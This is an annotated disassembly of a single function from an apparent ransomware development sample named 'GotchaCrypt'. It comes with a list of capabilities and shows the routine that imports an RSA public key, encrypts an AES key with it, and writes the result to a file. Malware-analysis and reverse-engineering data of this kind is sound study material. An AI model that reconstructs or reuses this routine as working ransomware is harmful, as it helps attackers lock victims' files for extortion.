Function at 0x140011339
Capabilities:
Create new key via cryptacquirecontext
Decode data using base64 via winapi
Encrypt or decrypt via wincrypt
Get file size
Import public key
Read file on windows
Write file on windows

Disassembly:
jmp 0x140017f00
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x2e8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x7a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x308]
mov rax, qword [0x140020040]
xor rax, rbp
mov qword [rbp + 0x298], rax
lea rcx, [0x1400260b2]
call fcn.140011442
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, qword [rbp + 0x2d8]
call qword [sym.imp.KERNEL32.DLL_CreateFileA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x140017fb2
lea rcx, str.____Error_opening_file
call fcn.1400111ef
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, eax
call fcn.1400111a9
jmp 0x14001846b
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.DLL_GetFileSize]
mov dword [rbp + 0x24], eax
mov eax, dword [0x140020008]
add eax, 0xa
mov ecx, dword [rbp + 0x24]
mov r9d, eax
lea r8, str.C:UsersmjankDocumentsMalDevRansomwareVideoGotchaCryptGotchaCryptmain.c
mov edx, 1
call qword [sym.imp.ucrtbased.dll__malloc_dbg]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x14001800b
lea rcx, str.____Error_while_allocating_memory_for_publicKeyData
call fcn.1400111ef
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, eax
call fcn.1400111a9
jmp 0x14001846b
mov dword [rbp + 0x64], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x64]
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x140018041
lea rcx, str.____Public_key:_n
call fcn.1400111ef
mov dword [rbp + 0x84], 0
jmp 0x14001805b
mov eax, dword [rbp + 0x84]
inc eax
mov dword [rbp + 0x84], eax
mov eax, dword [rbp + 0x24]
cmp dword [rbp + 0x84], eax
jae 0x140018084
mov eax, dword [rbp + 0x84]
mov rcx, qword [rbp + 0x48]
movzx eax, byte [rcx + rax]
mov edx, eax
lea rcx, [0x14001d958]
call fcn.1400111ef
jmp 0x14001804d
lea rcx, [0x14001d974]
call fcn.1400111ef
mov dword [rbp + 0xa4], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rbp + 0xa4]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, dword [rbp + 0x24]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [0x140020008]
add eax, 0x1e
mov ecx, dword [rbp + 0xa4]
mov r9d, eax
lea r8, str.C:UsersmjankDocumentsMalDevRansomwareVideoGotchaCryptGotchaCryptmain.c
mov edx, 1
call qword [sym.imp.ucrtbased.dll__malloc_dbg]
mov qword [rbp + 0xc8], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rbp + 0xa4]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0xc8]
xor r8d, r8d
mov edx, dword [rbp + 0x24]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x140018150
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, eax
call fcn.1400111a9
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
lea rcx, str.CryptStringToBinary_failed:__lx_n
call fcn.1400111ef
mov dword [rbp + 0xe4], 0
lea rax, [rbp + 0xe4]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x8000
mov r9d, dword [rbp + 0xa4]
mov r8, qword [rbp + 0xc8]
mov edx, 8
mov ecx, 1
call qword [sym.imp.CRYPT32.dll_CryptDecodeObjectEx]
test eax, eax
jne 0x1400181c3
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
lea rcx, str.Decode_the_binary_key_blob_into_a_CERT_PUBLIC_KEY_INFO_failed:__lx_n
call fcn.1400111ef
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, eax
call fcn.1400111a9
mov eax, dword [0x140020008]
add eax, 0x2b
mov ecx, dword [rbp + 0xe4]
mov r9d, eax
lea r8, str.C:UsersmjankDocumentsMalDevRansomwareVideoGotchaCryptGotchaCryptmain.c
mov edx, 1
call qword [sym.imp.ucrtbased.dll__malloc_dbg]
mov qword [rbp + 0x108], rax
lea rax, [rbp + 0xe4]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x108]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x8000
mov r9d, dword [rbp + 0xa4]
mov r8, qword [rbp + 0xc8]
mov edx, 8
mov ecx, 1
call qword [sym.imp.CRYPT32.dll_CryptDecodeObjectEx]
test eax, eax
jne 0x14001825a
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
lea rcx, str.Decode_the_binary_key_blob_into_a_CERT_PUBLIC_KEY_INFO_failed:__lx_n
call fcn.1400111ef
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, eax
call fcn.1400111a9
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
lea r8, str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider
xor edx, edx
lea rcx, [rbp + 0x128]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x14001829d
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
lea rcx, str.Error_acquiring_crypto_context:__d_n
call fcn.1400111ef
xor eax, eax
jmp 0x14001846b
lea r9, [rbp + 0x148]
mov r8, qword [rbp + 0x108]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.CRYPT32.dll_CryptImportPublicKeyInfo]
test eax, eax
jne 0x1400182e2
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, eax
call fcn.1400111a9
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
lea rcx, str.CryptImportPublicKeyInfo_failed:__lx_n
call fcn.1400111ef
lea rcx, str.___Succesfully_imported_public_key_n
call fcn.1400111ef
mov eax, dword [rbp + 0x2c8]
mov dword [rbp + 0x164], eax
mov eax, dword [rbp + 0x164]
mov dword [rbp + 0x184], eax
mov eax, dword [rbp + 0x164]
mov dword [rsp + 0x30], eax
lea rax, [rbp + 0x184]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
xor edx, edx
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov eax, dword [rbp + 0x184]
mov dword [rsp + 0x30], eax
lea rax, [rbp + 0x164]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x2c0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 1
xor edx, edx
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x1400183b0
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
lea rcx, str.Error_encrypting_data__d_n
call fcn.1400111ef
mov rcx, qword [rbp + 0x2c0]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor edx, edx
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x14001846b
lea rcx, str.___Succesfully_encrypted_the_AES_key_n
call fcn.1400111ef
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, qword [rbp + 0x2d0]
call qword [sym.imp.KERNEL32.DLL_CreateFileA]
mov qword [rbp + 0x1a8], rax
cmp qword [rbp + 0x1a8], 0xffffffffffffffff
jne 0x140018412
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
lea rcx, str.Error_opening_file__d_n
call fcn.1400111ef
mov dword [rbp + 0x1c4], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x1c4]
mov r8d, dword [rbp + 0x164]
mov rdx, qword [rbp + 0x2c0]
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x14001845f
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
lea rcx, str.Error_writing_to_file__d_n
call fcn.1400111ef
lea rcx, str.___Encrypted_AES_key_written_to_file_n
call fcn.1400111ef
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001d590]
call fcn.1400113bb
mov rax, rdi
mov rcx, qword [rbp + 0x298]
xor rcx, rbp
call fcn.140011208
lea rsp, [rbp + 0x2a8]
pop rdi
pop rbp
ret